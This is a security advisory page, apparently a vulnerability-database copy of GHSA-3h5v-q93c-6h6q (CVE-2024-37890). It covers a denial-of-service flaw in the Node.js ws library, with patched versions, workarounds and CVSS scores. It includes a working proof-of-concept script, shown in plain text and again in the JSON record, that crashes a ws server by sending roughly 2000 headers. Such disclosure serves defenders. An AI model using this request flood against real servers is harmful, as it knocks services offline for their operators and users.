GHSA-3H5V-Q93C-6H6Q

Vulnerability from github – Published: 2024-06-17 19:09 – Updated: 2026-05-13 15:25
VLAI
Summary
ws affected by a DoS when handling a request with many HTTP headers
Details

Impact

A request with a number of headers exceeding the [server.maxHeadersCount][] threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e).

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

  • https://github.com/advisories/GHSA-3h5v-q93c-6h6q
  • https://www.cve.org/CVERecord?id=CVE-2024-37890
  • https://github.com/websockets/ws/issues/2230
  • https://github.com/websockets/ws/pull/2231
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "5.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.5.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.17.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-37890"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-17T19:09:10Z",
    "nvd_published_at": "2024-06-17T20:15:13Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA request with a number of headers exceeding the [`server.maxHeadersCount`][] threshold could be used to crash a ws server.\n\n### Proof of concept\n\n```js\nconst http = require(\u0027http\u0027);\nconst WebSocket = require(\u0027ws\u0027);\n\nconst wss = new WebSocket.Server({ port: 0 }, function () {\n  const chars = \"!#$%\u0026\u0027*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~\".split(\u0027\u0027);\n  const headers = {};\n  let count = 0;\n\n  for (let i = 0; i \u003c chars.length; i++) {\n    if (count === 2000) break;\n\n    for (let j = 0; j \u003c chars.length; j++) {\n      const key = chars[i] + chars[j];\n      headers[key] = \u0027x\u0027;\n\n      if (++count === 2000) break;\n    }\n  }\n\n  headers.Connection = \u0027Upgrade\u0027;\n  headers.Upgrade = \u0027websocket\u0027;\n  headers[\u0027Sec-WebSocket-Key\u0027] = \u0027dGhlIHNhbXBsZSBub25jZQ==\u0027;\n  headers[\u0027Sec-WebSocket-Version\u0027] = \u002713\u0027;\n\n  const request = http.request({\n    headers: headers,\n    host: \u0027127.0.0.1\u0027,\n    port: wss.address().port\n  });\n\n  request.end();\n});\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e).\n\n### Workarounds\n\nIn vulnerable versions of ws, the issue can be mitigated in the following ways:\n\n1. Reduce the maximum allowed length of the request headers using the [`--max-http-header-size=size`][] and/or the [`maxHeaderSize`][] options so that no more headers than the `server.maxHeadersCount` limit can be sent.\n2. Set `server.maxHeadersCount` to `0` so that no limit is applied.\n\n### Credits\n\nThe vulnerability was reported by [Ryan LaPointe](https://github.com/rrlapointe) in https://github.com/websockets/ws/issues/2230.\n\n### References\n\n- https://github.com/advisories/GHSA-3h5v-q93c-6h6q\n- https://www.cve.org/CVERecord?id=CVE-2024-37890\n- https://github.com/websockets/ws/issues/2230\n- https://github.com/websockets/ws/pull/2231\n\n[`--max-http-header-size=size`]: https://nodejs.org/api/cli.html#--max-http-header-sizesize\n[`maxHeaderSize`]: https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener\n[`server.maxHeadersCount`]: https://nodejs.org/api/http.html#servermaxheaderscount",
  "id": "GHSA-3h5v-q93c-6h6q",
  "modified": "2026-05-13T15:25:49Z",
  "published": "2024-06-17T19:09:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/security/advisories/GHSA-3h5v-q93c-6h6q"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/issues/2230"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/pull/2231"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/websockets/ws"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "ws affected by a DoS when handling a request with many HTTP headers"
}



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